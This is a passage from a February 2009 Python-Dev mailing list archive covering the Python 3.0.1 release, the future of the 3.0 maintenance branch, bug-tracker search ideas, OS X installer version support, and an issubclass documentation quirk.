15:14:52 +1300 Subject: [Python-Dev] Wow! In-Reply-To: References: Message-ID: <4996291C.5070905@canterbury.ac.nz> Brett Cannon wrote: > Is there a Python connection I'm missing? > > http://www.latimes.com/news/science/la-sci-satellite-collision15-2009feb15,0,7901281.story Well, the front page of python.org does say "NASA uses Python"... Also it sounds like they could do with a really good garbage collection algorithm just now. -- Greg From barry at python.org Sat Feb 14 03:15:38 2009 From: barry at python.org (Barry Warsaw) Date: Fri, 13 Feb 2009 21:15:38 -0500 Subject: [Python-Dev] RELEASED Python 3.0.1 Message-ID: -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 On behalf of the Python development team, I'm happy to announce the availability of Python 3.0.1, the first bug fix release of Python 3.0. Version 3.0.1 fixes dozens of bugs reported since the release of Python 3.0 on December 3rd, 2008. Python 3.0 represents a major milestone in Python's history. This new version of the language is incompatible with the 2.x line of releases, while remaining true to BDFL Guido van Rossum's vision. For more information, links to documentation, and downloadable distributions, see the Python 3.0.1 release page: http://www.python.org/download/releases/3.0.1/ To report bugs in Python 3.0.1, please submit them to the issue tracker at: http://bugs.python.org/ Enjoy! Barry -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.9 (Darwin) iQCVAwUBSZYpSnEjvBPtnXfVAQLQwgP/WSHp12dJVpEYtEOL/X8ynCQACriij9AM PgT6SacbMJLbsy84CTGA1lxF4NdEUQMY1IYz0do/aZ0+nBkSoy7SlkOVcncysLSC hVyTVlWQBdh63yA8QUk1I5dMbKeNpbCqRRgvSHaBrVdVz9mDM/r/L+j9lhBW4Cam 2lHLjRdQaG0= =vy0O -----END PGP SIGNATURE----- From benjamin at python.org Sat Feb 14 03:35:34 2009 From: benjamin at python.org (Benjamin Peterson) Date: Fri, 13 Feb 2009 20:35:34 -0600 Subject: [Python-Dev] The fate of 3.0.* Message-ID: <1afaf6160902131835r29a869a0t90d02fe0088129ac@mail.gmail.com> Are we going to keep developing the 3.0 maintenance branch in expectation of releasing 3.0.2 sometime or will we just focus our efforts on 3.1? -- Regards, Benjamin From brett at python.org Sat Feb 14 03:49:51 2009 From: brett at python.org (Brett Cannon) Date: Fri, 13 Feb 2009 18:49:51 -0800 Subject: [Python-Dev] The fate of 3.0.* In-Reply-To: <1afaf6160902131835r29a869a0t90d02fe0088129ac@mail.gmail.com> References: <1afaf6160902131835r29a869a0t90d02fe0088129ac@mail.gmail.com> Message-ID: On Fri, Feb 13, 2009 at 18:35, Benjamin Peterson wrote: > Are we going to keep developing the 3.0 maintenance branch in > expectation of releasing 3.0.2 sometime or will we just focus our > efforts on 3.1? > I almost said "of course we are", but then I realized that 3.1 is going to be very similar to 3.0.1 such that doing a final 3.0.x release probably is not going to be worth it. Lord knows I sure don't want to have to port a bug fix to *five* branches. -Brett -------------- next part -------------- An HTML attachment was scrubbed... URL: From guido at python.org Sat Feb 14 04:02:16 2009 From: guido at python.org (Guido van Rossum) Date: Fri, 13 Feb 2009 19:02:16 -0800 Subject: [Python-Dev] The fate of 3.0.* In-Reply-To: References: <1afaf6160902131835r29a869a0t90d02fe0088129ac@mail.gmail.com> Message-ID: On Fri, Feb 13, 2009 at 6:49 PM, Brett Cannon wrote: > On Fri, Feb 13, 2009 at 18:35, Benjamin Peterson > wrote: >> >> Are we going to keep developing the 3.0 maintenance branch in >> expectation of releasing 3.0.2 sometime or will we just focus our >> efforts on 3.1? > > I almost said "of course we are", but then I realized that 3.1 is going to > be very similar to 3.0.1 such that doing a final 3.0.x release probably is > not going to be worth it. Lord knows I sure don't want to have to port a bug > fix to *five* branches. Amen. I can see two scenarios where we might release 3.0.2: (a) if we find a really severe error in 3.0.1 (or perhaps a security problem); (b) if 3.1 ends up getting delayed severely. In case (a) happens it's okay if the 3.0 branch is left alone until the time we need to make that one patch. The probability of (b) is low, so let's worry about that when it happens, and let's try not to make it happen. :-) Congratulations all with the release! -- --Guido van Rossum (home page: http://www.python.org/~guido/) From solipsis at pitrou.net Sat Feb 14 04:55:45 2009 From: solipsis at pitrou.net (Antoine Pitrou) Date: Sat, 14 Feb 2009 03:55:45 +0000 (UTC) Subject: [Python-Dev] The fate of 3.0.* References: <1afaf6160902131835r29a869a0t90d02fe0088129ac@mail.gmail.com> Message-ID: Benjamin Peterson python.org> writes: > > Are we going to keep developing the 3.0 maintenance branch in > expectation of releasing 3.0.2 sometime or will we just focus our > efforts on 3.1? Focusing on 3.1 should be ok. So what are the expected efforts for 3.1? - io-in-C - import-in-Python - ... anything else? Regards Antoine. From andrewm at object-craft.com.au Sat Feb 14 05:39:31 2009 From: andrewm at object-craft.com.au (Andrew McNamara) Date: Sat, 14 Feb 2009 15:39:31 +1100 Subject: [Python-Dev] The fate of 3.0.* In-Reply-To: References: <1afaf6160902131835r29a869a0t90d02fe0088129ac@mail.gmail.com> Message-ID: <20090214043931.C7E4E59C08C@longblack.object-craft.com.au> >So what are the expected efforts for 3.1? >- io-in-C >- import-in-Python >- ... anything else? A fixed "email" module. -- Andrew McNamara, Senior Developer, Object Craft http://www.object-craft.com.au/ From benjamin.kaplan at case.edu Sat Feb 14 05:46:12 2009 From: benjamin.kaplan at case.edu (Benjamin Kaplan) Date: Fri, 13 Feb 2009 23:46:12 -0500 Subject: [Python-Dev] RELEASED Python 3.0.1 In-Reply-To: References: Message-ID: On Fri, Feb 13, 2009 at 9:15 PM, Barry Warsaw wrote: > -----BEGIN PGP SIGNED MESSAGE----- > Hash: SHA1 > > On behalf of the Python development team, I'm happy to announce the > availability of Python 3.0.1, the first bug fix release of Python 3.0. > Version 3.0.1 fixes dozens of bugs reported since the release of Python 3.0 > on December 3rd, 2008. > > Python 3.0 represents a major milestone in Python's history. This new > version of the language is incompatible with the 2.x line of releases, while > remaining true to BDFL Guido van Rossum's vision. > > For more information, links to documentation, and downloadable > distributions, see the Python 3.0.1 release page: > > http://www.python.org/download/releases/3.0.1/ > > To report bugs in Python 3.0.1, please submit them to the issue tracker at: > > http://bugs.python.org/ > > Enjoy! > Barry Any chance of getting a Mac installer for this one? -------------- next part -------------- An HTML attachment was scrubbed... URL: From ajaksu at gmail.com Sat Feb 14 06:45:34 2009 From: ajaksu at gmail.com (Daniel (ajax) Diniz) Date: Sat, 14 Feb 2009 03:45:34 -0200 Subject: [Python-Dev] Tracker archeology In-Reply-To: <49960207.3070507@v.loewis.de> References: <2d75d7660902100523o79951e27j9ccc2833a1446a5d@mail.gmail.com> <200902120954.53578.victor.stinner@haypocalc.com> <2d75d7660902120510p4ae57974sad8801ed57c920a2@mail.gmail.com> <200902121434.17723.victor.stinner@haypocalc.com> <2d75d7660902120805w41992a3bjcbc57c9790978c90@mail.gmail.com> <49946F61.6020803@v.loewis.de> <2d75d7660902121625t58eecd2eqb7ac9b67f142c5b8@mail.gmail.com> <499509FA.5030607@v.loewis.de> <2d75d7660902122223x3127c6bay97208c231bb4432c@mail.gmail.com> <49960207.3070507@v.loewis.de> Message-ID: <2d75d7660902132145o44a8351k94ac8b3d76aa6937@mail.gmail.com> Hi Martin, Sorry about being so brief, I got a lot of unexpected interruptions and was rushing things. "Martin v. L?wis" wrote: >> For starters, free form searches, aggregation and filtering of >> results. > > What is "free form searches" (example)? What is aggregation? > What results do you want to filter? (roundup can already filter > results quite well) By free form searches I meant complex queries with more flexible criteria. A real example: "find any issue that has words A and B in juxtaposed in messages, containing words starting with 'url' [ but not ending with 'lib' in title (, unless version >= 3)], where jjlee isn't nosy". Or "issues with less than 5 replies, all from a single user". Lastly, "issues where no Developer is nosy, with messages covering an interval longer than a week". These are useful a few times, but hard to predict and not so recurrent searches, so free form makes more sense than adding support for each combination. By aggregation I meant performing a few disjunct searches and combining them in a result set, eliminating duplication, to process as a unit. Then, add issues A,B and C to that. Free form searches cover this by allowing one to perform a query that gives the result set directly, but combining previous searches sounds more pleasant. And by filtering, I meant refining a set of search results and/or searching over a restricted set of issues, on criteria that are present in them. I.e., I'd like to search for segfault and be given a choice box with the all nosy people in the result set, and exclude or only display issues based choosing one of them. All of the above seems trivial with a database-like interface. I have pretty much emulated them with the current search, the handy CSV results downloads, a text editor and a Python shell. >> The web interface is pretty good for handling individual >> issues, but not so good for adding someone as nosy to lots of issues. > > Please consider contributing a mass-update template then, perhaps > based on search results, with check boxes to include or exclude > individual issues from the mass update. OK, I saw one of these at http://roundup.sf.net/ and will study and adapt it. But it'll solve the 'commit changes' part of the equation, not the 'select set of issues to change'. >> Send emails before they were done :D > > Again: what's that? That's me trying to sound witty after sending the email before finishing it :) >> Use a VCS for in-progress activities > > Hmm. Why do you need a database copy for that? I don't, the database if for selecting issues to edit. But I'd like to be able to submit bulk changes, and a (local, D) VCS is how I imagine storing these locally should be done. For rollbacks, merges and that sort of thing, besides being able to save incomplete work to continue later. >> Figure out how to serialize and submit the work done locally > > Again, don't understand. too brief. The serialization idea comes from this: one would assemble a 'patch' containing different changes to different issues. It's an extension of the mass-update idea, but for non-uniform changes. The deserialization would either happen through a mass-update interface or by running a script to submit them one by one. >> Share results with interested parties off-tracker (e.g., the >> auto-nosy mentioned up-thread) > > The tracker already has auto-assignments based on components. But no way to share aggregated search results (I've sent some off-list), 'follow' users (i.e., be added as nosy for issues where user A is nosy), auto-add as nosy based on keywords, etc. Someday we could have these nosy features hosted externally, e.g. as an AppEngine app that subscribes to python-bugs and sends alerts to users matching the message (by keyword, performed action, new stage, etc.). >> Right now, more efficient searching and aggregation along with some >> (local, flexible) UI tweaks sum it up. > > Efficient in what way? Having those complex searches in a less convoluted workflow, allowing more work to be done faster and in a less error prone way. >> Maybe I can offer a patch for something like PyPI's 'simple' interface? > > Please, no. Contribute the interface you want locally instead as a > feature for all users of the tracker. OK, after some more cleaning up I'll work on the mass-update, my local searches and report back. Regards, Daniel From ajaksu at gmail.com Sat Feb 14 06:50:29 2009 From: ajaksu at gmail.com (Daniel (ajax) Diniz) Date: Sat, 14 Feb 2009 03:50:29 -0200 Subject: [Python-Dev] Tracker archeology In-Reply-To: <2d75d7660902131136i702698d7h7cbda7d2bd6b6a79@mail.gmail.com> References: <2d75d7660902100523o79951e27j9ccc2833a1446a5d@mail.gmail.com> <2d75d7660902111441y3e058bddiebd8f021912cf574@mail.gmail.com> <2d75d7660902120508n4ae54323j6e725624c10a4e82@mail.gmail.com> <87zlgrrxr3.fsf@xemacs.org> <2d75d7660902121645y56566fbfi7c651b109cd76ac0@mail.gmail.com> <2d75d7660902131136i702698d7h7cbda7d2bd6b6a79@mail.gmail.com> Message-ID: <2d75d7660902132150i219fe640l99bb22106b4f54ea@mail.gmail.com> Daniel (ajax) Diniz wrote: > Status report and roadmap to be posted later today, before date +%s > turns 1234567890 :) Missed that and got almost no tracker work done. Postponed to Monday, after some weekend cleaning. Daniel From g.brandl at gmx.net Sat Feb 14 10:42:39 2009 From: g.brandl at gmx.net (Georg Brandl) Date: Sat, 14 Feb 2009 10:42:39 +0100 Subject: [Python-Dev] Small misleadingness in docs In-Reply-To: References: <49961E01.7000109@canterbury.ac.nz> Message-ID: Raymond Hettinger schrieb: > [Greg Ewing] >> I've discovered something slightly misleading in the docs >> for PyObject_IsInstance: >> >> When testing if B is a subclass of A, if A is B, PyObject_IsSubclass >> returns true. If A and B are different objects, B's __bases__ >> attribute is searched... >> >> This suggests that issubclass(A, A) will always be true, >> regardless of what attributes A has. However, this turns >> out not to be so -- A must also have a __bases__ attribute, >> otherwise it's rejected as not being sufficiently class-like. > > This smells like a bug that brings issubclass() out of sync with isinstance(). > Perhaps issubclass() should do what the docs say and start by > testing whether A and B are the same object. Since I cannot imagine a scenario where you would want to have non-classes as the arguments of issubclass(), making sure that both *are* classes sounds like a good idea to prevent bugs. Georg -- Thus spake the Lord: Thou shalt indent with four spaces. No more, no less. Four shall be the number of spaces thou shalt indent, and the number of thy indenting shall be four. Eight shalt thou not indent, nor either indent thou two, excepting that thou then proceed to four. Tabs are right out. From martin at v.loewis.de Sat Feb 14 09:55:47 2009 From: martin at v.loewis.de (=?ISO-8859-1?Q?=22Martin_v=2E_L=F6wis=22?=) Date: Sat, 14 Feb 2009 09:55:47 +0100 Subject: [Python-Dev] RELEASED Python 3.0.1 In-Reply-To: References: Message-ID: <49968713.4080705@v.loewis.de> > Any chance of getting a Mac installer for this one? Chances are non-zero, yes. Martin From martin at v.loewis.de Sat Feb 14 10:00:10 2009 From: martin at v.loewis.de (=?ISO-8859-1?Q?=22Martin_v=2E_L=F6wis=22?=) Date: Sat, 14 Feb 2009 10:00:10 +0100 Subject: [Python-Dev] The fate of 3.0.* In-Reply-To: <1afaf6160902131835r29a869a0t90d02fe0088129ac@mail.gmail.com> References: <1afaf6160902131835r29a869a0t90d02fe0088129ac@mail.gmail.com> Message-ID: <4996881A.1050509@v.loewis.de> Benjamin Peterson wrote: > Are we going to keep developing the 3.0 maintenance branch in > expectation of releasing 3.0.2 sometime or will we just focus our > efforts on 3.1? Traditionally, we had one last bugfix release after then next feature release. So I think we should release 3.0.2 right after 3.1 gets releases, and then close the branch for bug fixes. As a consequence, we should continue to backport bug fixes to the 3.0 maintenance branch. Another issue is security releases. For regular releases, I'm still proposing that we provide security fixes up to five (5) years after the original release, which would be until 2014. We need to decide whether to do that for 3.0 as well, and, if not, announce in the final release that it is really final. Regards, Martin From nad at acm.org Sat Feb 14 12:22:22 2009 From: nad at acm.org (Ned Deily) Date: Sat, 14 Feb 2009 03:22:22 -0800 Subject: [Python-Dev] OS X Installer for 3.0.1 and supported versions References: Message-ID: Speaking of an OS X installer for 3.0.1, over the last few weeks I have been working on tidying up the OS X installer build process. While the basic OS X build/installer process is good, some cruft has accumulated over the past years and a number of mostly minor issues arose due to the 3.x split. IMO, the most important issues were with IDLE and, thanks to Ronald, we did get the most important fixes for OS X IDLE checked-in in time for 3.0.1; they are also in py3k and will be going into trunk and 26. I have a few other fixes that apply just to the OSX build/installer parts which did not get submitted in time for the 3.0.1 cutoff but which are ready to go for 3.x and 2.x. Basically they fix some version number updating and ensure that the installer image will be built reproducibly in a clean environment so there is no contamination of the installer images. Currently, that's easy to do as happened with the first round of the OS X 2.6 installer (e.g. with a locally installed Tcl/Tk). They also allow images to build for various OS X version. More on that below. I would like to get to the point where the OS X images can be generated and tested automatically. I think that is reasonable and achievable. It's not quite there yet but I can now semi-automatically produce images for 2.6, 2.7 (trunk), 3.0, and 3.1 (py3k) in both the traditional "fat" (32-bit i386) for 10.4/10.5 and, for 10.5, "universal" (4-way 32-bit and 64-bit intel/ppc). They all have been passing the standard regrtest with no new obvious (to me) regressions but I certainly won't claim to have done complete and thorough testing. (In particular, I have no access to a G5 for 64-bit PPC testing.) However the "official" OS X images are built, there is an important issue about them that should be addressed now. That issue is which OS X versions should be supported by installer images. (This may well have been discussed before so my apologies if I am covering old ground here.) Some background: OS X 10.4 (Tiger) introduced 2-way ("fat") executables and libraries which include object code for both ppc and i386 in the same files. OS X 10.5 (Leopard) extended that support to 4-way ("universal"), adding 64-bit x86_64 and ppc64. In 10.5, much, but not all, of OS X and a growing number of applications are shipped as 4-way universal. The OS X developer tools include SDKs to allow cross-builds for various OS X levels and architectures. There is a build-time environ variable, MACOSX_DEPLOYMENT_TARGET, which specifies the minimum OSX releases that an executable will work with. Starting in 2006, the 2.5.x series of Python OS X installers were released as "fat" but built with MACOSX_DEPLOYMENT_TARGET=10.3 so that the same installer image would work on 10.3 PPC and 10.4 PPC and intel. Unfortunately, along the way, there was a significant bug in distutils.util.get_platform not returning "fat" in the platform string; among other things this has had impact on packages on PyPI. Ronald fixed the problem prior to 2.5.2 (?) but, for compatibility, the fix is only effective if MACOSX_DEPLOYMENT_TARGET >= 10.4 and the 2.5.x installers continued to be built as 10.3. Also unfortunately, the deployment target for the first 2.6 OS X installer was not updated. In the meantime, Ronald added support for 64-bit and 4-way universal builds for 10.5 but, to date, no official installer images have been released with that enabled although clearly people are already building their own 64-bit OS X pythons. The last Apple point release of 10.3 was in 4/2005. 10.4 was also released then. The last Apple maintenance release of 10.4 was in 11/2007. 10.5 was released in 10/2007 and, with subsequent update releases, remains the current system. While no release dates have been announced, 10.6 (Snow Leopard) is rumored to be nearing release. If Apple follows past practices, they will likely terminate all support for 10.4 (release n-2) when 10.6 releases and will continue to support 10.5 (n-1) for the lifetime of 10.6. Needless to say, Apple stopped supporting 10.3 a long time ago and, if 10.6 does release in the not too-distant future, 10.4's days are numbered. What does this mean for Python? To date, there have been no official 3.0 OS X installers released. Because of the deficiencies of building for the long-unsupported 10.3 (the distutils bug, the lack of 64-bit support, and probably other things I'm not aware of), I think it is very important that the 3.0.1 get off on the right foot by changing the minimum supported versions now. I see three plausible options: 1. Release an installer built for 10.5 and higher. pros: delivers 32-support and 64-support; cons: prematurely disenfranchises 10.4 users 2. Release an installer built for 10.4 and higher. pros: one size fits all cons: no 64-bit support, known bugs in 10.4 wrt locale support, etc 3. Release two installers, one each for 10.4+ and 10.5+. pros: supports current and future systems; delivers 64-support to 10.5+ users; could choose to drop 10.4 installers anytime after 10.6 releases; cons: some extra work to build/release (but not much and not often); others?? Note, this is only talking about the python.org installer images, not Python itself. Users of older systems (10.3 and earlier) would still be able to build their own Pythons or even installers. However, there could (should?) be an explicit statement made as to what OS X versions are "officially" supported. With the improvements to the build process and the experience I've had so far, I would strongly recommend option 3. I am willing to commit to supplying those images for 3.0.1 and beyond until we can get to a more automated process. Or I'd be happy to work with someone else to make it happen for 3.0.1. Now that the tarball is out, I will be able to get the images built and tested this weekend. BTW, over on the pythonmac forum, there has been discussion of having some Mac activities at Pycon. Ronald is planning to be there and I'm hoping to, as well, so that could be a great opportunity to discuss and work on futures. And this same discussion and decision needs to be made going forward for 2.7 and 2.6.x (I think the change should be made for 2.6.2). So, to summarize, I will build and test installer images for 3.0.1 built for 10.4+ and for 10.5+ and will make them available, if there is interest. If someone else is planning on making official installer(s), I'd be happy to pass along my experiences so far. In any case, I strongly urge that the minimum support level be 10.4. --Ned -- Ned Deily, nad at acm.org From stephen at xemacs.org Sat Feb 14 12:54:53 2009 From: stephen at xemacs.org (Stephen J. Turnbull) Date: Sat, 14 Feb 2009 20:54:53 +0900 Subject: [Python-Dev] OS X Installer for 3.0.1 and supported versions In-Reply-To: References: Message-ID: <87d4dls06q.fsf@xemacs.org> Ned Deily writes: > I see three plausible options: > > 1. Release an installer built for 10.5 and higher. > pros: delivers 32-support and 64-support; > cons: prematurely disenfranchises 10.4 users +0 This would bother me; I have a couple of older Macs that run 10.4. But it's acceptable (I can always use MacPorts or build from source). I would suppose most folks who are running 10.4 even today are "cranks like me, baby, we were born to fuss!" Ahem, anyway, I suspect people who care that much about stability are generally old-school types who are willing to roll their own to some extent. > 2. Release an installer built for 10.4 and higher. > pros: one size fits all > cons: no 64-bit support, known bugs in 10.4 wrt locale support, etc -1 I think if you're going to have a break, make it a big one. By the time people who use installers are using Python 3.0 a lot, most of them will be on 10.6. > 3. Release two installers, one each for 10.4+ and 10.5+. > pros: supports current and future systems; > delivers 64-support to 10.5+ users; > could choose to drop 10.4 installers anytime after 10.6 > releases; > cons: some extra work to build/release > (but not much and not often); +1 > work on futures. And this same discussion and decision needs to be made > going forward for 2.7 and 2.6.x (I think the change should be made for > 2.6.2). Generally my inclination is the same here, but the distinction between options 2 and 3 is a little less extreme. From greg.ewing at canterbury.ac.nz Sat Feb 14 13:02:49 2009 From: greg.ewing at canterbury.ac.nz (Greg Ewing) Date: Sun, 15 Feb 2009 01:02:49 +1300 Subject: [Python-Dev] Small misleadingness in docs In-Reply-To: References: <49961E01.7000109@canterbury.ac.nz> Message-ID: <4996B2E9.8080600@canterbury.ac.nz> Georg Brandl wrote: > Since I cannot imagine a scenario where you would want to have non-classes > as the arguments of issubclass(), I had one today, which is what led me to discover this. I'm working on a Python-Ruby bridge that wraps Ruby objects and classes in Python objects. I wanted to make isinstance() and issubclass() work in the expected way when applied to wrappers around Ruby classes. The ability to fake things using __classes__ and __bases__ turned out to be very handy. -- Greg From martin at v.loewis.de Sat Feb 14 13:05:10 2009 From: martin at v.loewis.de (=?ISO-8859-1?Q?=22Martin_v=2E_L=F6wis=22?=) Date: Sat, 14 Feb 2009 13:05:10 +0100 Subject: [Python-Dev] OS X Installer for 3.0.1 and supported versions In-Reply-To: References: Message-ID: <4996B376.1070107@v.loewis.de> > (This may well have > been discussed before so my apologies if I am covering old ground here.) There might have been discussions on pythonmac lists, but no recent ones on python-dev, AFAIR. > The last Apple point release of 10.3 was in 4/2005. 10.4 was also > released then. [...] Needless to say, Apple stopped > supporting 10.3 a long time ago and, if 10.6 does release in the not > too-distant future, 10.4's days are numbered. I think this is a matter of personal judgment. If there has been a point release as recent as three years ago, I wouldn't call that "long ago". People often continue to use operating systems 10 years after the vendor stopped supporting it. So I would personally think that it is desirable to continue supporting 10.3 if possible. For comparison, the Python Windows binaries support systems back to Windows 2000, but not anymore the non-NT systems (ie. Windows 95, Windows 98, Windows ME). > 1. Release an installer built for 10.5 and higher. > pros: delivers 32-support and 64-support; > cons: prematurely disenfranchises 10.4 users I don't think this should be done. > 2. Release an installer built for 10.4 and higher. > pros: one size fits all > cons: no 64-bit support, known bugs in 10.4 wrt locale support, etc Why is it that such an installer couldn't include 64-bit support? Wouldn't 10.4 just ignore architectures it doesn't know about? Also, didn't 10.4 already support ppc64? > 3. Release two installers, one each for 10.4+ and 10.5+. > pros: supports current and future systems; > delivers 64-support to 10.5+ users; > could choose to drop 10.4 installers anytime after 10.6 > releases; > cons: some extra work to build/release > (but not much and not often); > others?? I don't think this should be done, either. The whole point of "universal" binaries is that it simplifies choice for end users. > With the improvements to the build process and the experience I've had > so far, I would strongly recommend option 3. I am willing to commit to > supplying those images for 3.0.1 and beyond until we can get to a more > automated process. Or I'd be happy to work with someone else to make it > happen for 3.0.1. Now that the tarball is out, I will be able to get > the images built and tested this weekend. Ultimately, this is for the port maintainer to decide (IMO), which is still Ronald Oussouren. If he passes this role on to you, it would be all fine with me, and you could do with the port whatever you please (even though I might still dislike the additional clutter of two OSX installers) > So, to summarize, I will build and test installer images for 3.0.1 built > for 10.4+ and for 10.5+ and will make them available, if there is > interest. If someone else is planning on making official installer(s), > I'd be happy to pass along my experiences so far. In any case, I > strongly urge that the minimum support level be 10.4. I still wish there were 10.3+ installers that also include 64-bit code. I don't get it why that can't be technically possible. Regards, Martin From martin at v.loewis.de Sat Feb 14 15:00:28 2009 From: martin at v.loewis.de (=?UTF-8?B?Ik1hcnRpbiB2LiBMw7Z3aXMi?=) Date: Sat, 14 Feb 2009 15:00:28 +0100 Subject: [Python-Dev] Tracker archeology In-Reply-To: <2d75d7660902132145o44a8351k94ac8b3d76aa6937@mail.gmail.com> References: <2d75d7660902100523o79951e27j9ccc2833a1446a5d@mail.gmail.com> <200902120954.53578.victor.stinner@haypocalc.com> <2d75d7660902120510p4ae57974sad8801ed57c920a2@mail.gmail.com> <200902121434.17723.victor.stinner@haypocalc.com> <2d75d7660902120805w41992a3bjcbc57c9790978c90@mail.gmail.com> <49946F61.6020803@v.loewis.de> <2d75d7660902121625t58eecd2eqb7ac9b67f142c5b8@mail.gmail.com> <499509FA.5030607@v.loewis.de> <2d75d7660902122223x3127c6bay97208c231bb4432c@mail.gmail.com> <49960207.3070507@v.loewis.de> <2d75d7660902132145o44a8351k94ac8b3d76aa6937@mail.gmail.com> Message-ID: <4996CE7C.9080109@v.loewis.de> > But no way to share aggregated search results (I've sent some > off-list), 'follow' users (i.e., be added as nosy for issues where > user A is nosy), auto-add as nosy based on keywords, etc. Someday we > could have these nosy features hosted externally, e.g. as an AppEngine > app that subscribes to python-bugs and sends alerts to users matching > the message (by keyword, performed action, new stage, etc.). Please, please, no. If you can add it to an external application, please, pretty pretty please, add it to roundup directly (or, rather, to this specific tracker). > >>> Right now, more efficient searching and aggregation along with some >>> (local, flexible) UI tweaks sum it up. >> Efficient in what way? > > Having those complex searches in a less convoluted workflow, allowing > more work to be done faster and in a less error prone way. If it's useful to you, it might be useful to others as well. So consider contributing free-form searches to roundup (in addition to form-based searches). Regards, Martin From barry at python.org Sat Feb 14 15:29:54 2009 From: barry at python.org (Barry Warsaw) Date: Sat, 14 Feb 2009 09:29:54 -0500 Subject: [Python-Dev] The fate of 3.0.* In-Reply-To: References: <1afaf6160902131835r29a869a0t90d02fe0088129ac@mail.gmail.com> Message-ID: -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 On Feb 13, 2009, at 10:02 PM, Guido van Rossum wrote: > Amen. I can see two scenarios where we might release 3.0.2: (a) if we > find a really severe error in 3.0.1 (or perhaps a security problem); > (b) if 3.1 ends up getting delayed severely. > > In case (a) happens it's okay if the 3.0 branch is left alone until > the time we need to make that one patch. The probability of (b) is > low, so let's worry about that when it happens, and let's try not to > make it happen. :-) That's more than fine with me! :) Barry -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.9 (Darwin) iQCVAwUBSZbVYnEjvBPtnXfVAQKVxgP+NFpKibfYS5cjk68H/ImTYydGX82skFzP vtKNEvJeYdLg+WCpC88W9mL8jqBiG4yyKIXXF2hlVkX74tZbR3FU+V1EbXSvC46d rO5ZzFWMaVW/qrxepeY2tAiUCr82CVD1b6W8E0IAms7UjUKBPS9n2fYKsWOGEQph 1pLbdp7CBek= =j0yP -----END PGP SIGNATURE----- From barry at python.org Sat Feb 14 15:32:43 2009 From: barry at python.org (Barry Warsaw) Date: Sat, 14 Feb 2009 09:32:43 -0500 Subject: [Python-Dev] RELEASED Python 3.0.1 In-Reply-To: References: Message-ID: <30B69D1B-E36B-4FAA-A584-0B892E50A11C@python.org> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 On Feb 13, 2009, at 11:46 PM, Benjamin Kaplan wrote: > Any chance of getting a Mac installer for this one? I believe Ronald is planning to upload it soon. Barry -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.9 (Darwin) iQCVAwUBSZbWDHEjvBPtnXfVAQJNOQQAl89fJc7ezmpaDlClehtFJTwX5xE7JAtD yZ47O9yUOQfdIem2l1VVApHnsnUmLKILYG3v4MHiWJBjOT10Oxjc4JKlV3nmREda aUYOHCk1aHrPgdLHS4Cb/NBA6uYoG/+fHBcEMujClxv30lUTj76kDcjIMlflcpu6 r9I/jJdYywg= =nyT7 -----END PGP SIGNATURE----- From guido at python.org Sat Feb 14 18:02:20 2009 From: guido at python.org (Guido van Rossum) Date: Sat, 14 Feb 2009 09:02:20 -0800 Subject: [Python-Dev] OS X Installer for 3.0.1 and supported versions In-Reply-To: <87d4dls06q.fsf@xemacs.org> References: <87d4dls06q.fsf@xemacs.org> Message-ID: On Sat, Feb 14, 2009 at 3:54 AM, Stephen J. Turnbull wrote: > I would suppose most folks who are running 10.4 even today are "cranks > like me, baby, we were born to fuss!" Ahem, anyway, I suspect > people who care that much about stability are generally old-school > types who are willing to roll their own to some extent. Actually I expect that to be fairly common among people who are not so much into technology, strapped for funds but appreciative of quality, bought an expensive Mac once expecting it would last a long time, and are hanging on to it until it dies (which could be a long time). Their hardware may not support newer OS X versions. -- --Guido van Rossum (home page: http://www.python.org/~guido/) From tjreedy at udel.edu Sat Feb 14 18:07:18 2009 From: tjreedy at udel.edu (Terry Reedy) Date: Sat, 14 Feb 2009 12:07:18 -0500 Subject: [Python-Dev] Irix still supported? (was Re: Tracker archeology) In-Reply-To: <4996CE7C.9080109@v.loewis.de> References: <2d75d7660902100523o79951e27j9ccc2833a1446a5d@mail.gmail.com> <200902120954.53578.victor.stinner@haypocalc.com> <2d75d7660902120510p4ae57974sad8801ed57c920a2@mail.gmail.com> <200902121434.17723.victor.stinner@haypocalc.com> <2d75d7660902120805w41992a3bjcbc57c9790978c90@mail.gmail.com> <49946F61.6020803@v.loewis.de> <2d75d7660902121625t58eecd2eqb7ac9b67f142c5b8@mail.gmail.com> <499509FA.5030607@v.loewis.de> <2d75d7660902122223x3127c6bay97208c231bb4432c@mail.gmail.com> <49960207.3070507@v.loewis.de> <2d75d7660902132145o44a8351k94ac8b3d76aa6937@mail.gmail.com> <4996CE7C.9080109@v.loewis.de> Message-ID: Can http://bugs.python.org/issue995458 "Does not build selected SGI specific modules"be closed? PEP11 lists Irix 4 as gone. What about Irix 6? http://www.python.org/dev/peps/pep-0011/ Pep3108 notes that IRIX is no longer produced as of Dec 2006 and that Irix specific modules are gone from Py3. http://www.python.org/dev/peps/pep-3108/#irix Does Py3 still have Irix 6 support? From ronaldoussoren at mac.com Sat Feb 14 18:16:58 2009 From: ronaldoussoren at mac.com (Ronald Oussoren) Date: Sat, 14 Feb 2009 18:16:58 +0100 Subject: [Python-Dev] RELEASED Python 3.0.1 In-Reply-To: <49968713.4080705@v.loewis.de> References: <49968713.4080705@v.loewis.de> Message-ID: <7B96CE20-80E9-47DF-9C14-A542E47F0017@mac.com> On 14 Feb, 2009, at 9:55, Martin v. L?wis wrote: >> Any chance of getting a Mac installer for this one? > > Chances are non-zero, yes. I had hoped to build one last night, but got home way later than I had planned. The installer is building as I type this. Ronald -------------- next part -------------- A non-text attachment was scrubbed... Name: smime.p7s Type: application/pkcs7-signature Size: 2224 bytes Desc: not available URL: From tjreedy at udel.edu Sat Feb 14 18:18:27 2009 From: tjreedy at udel.edu (Terry Reedy) Date: Sat, 14 Feb 2009 12:18:27 -0500 Subject: [Python-Dev] Small misleadingness in docs In-Reply-To: <4996B2E9.8080600@canterbury.ac.nz> References: <49961E01.7000109@canterbury.ac.nz> <4996B2E9.8080600@canterbury.ac.nz> Message-ID: Greg Ewing wrote: > Georg Brandl wrote: > >> Since I cannot imagine a scenario where you would want to have >> non-classes >> as the arguments of issubclass(), > > I had one today, which is what led me to discover this. > I'm working on a Python-Ruby bridge that wraps Ruby > objects and classes in Python objects. > > I wanted to make isinstance() and issubclass() work in > the expected way when applied to wrappers around Ruby > classes. The ability to fake things using __classes__ > and __bases__ turned out 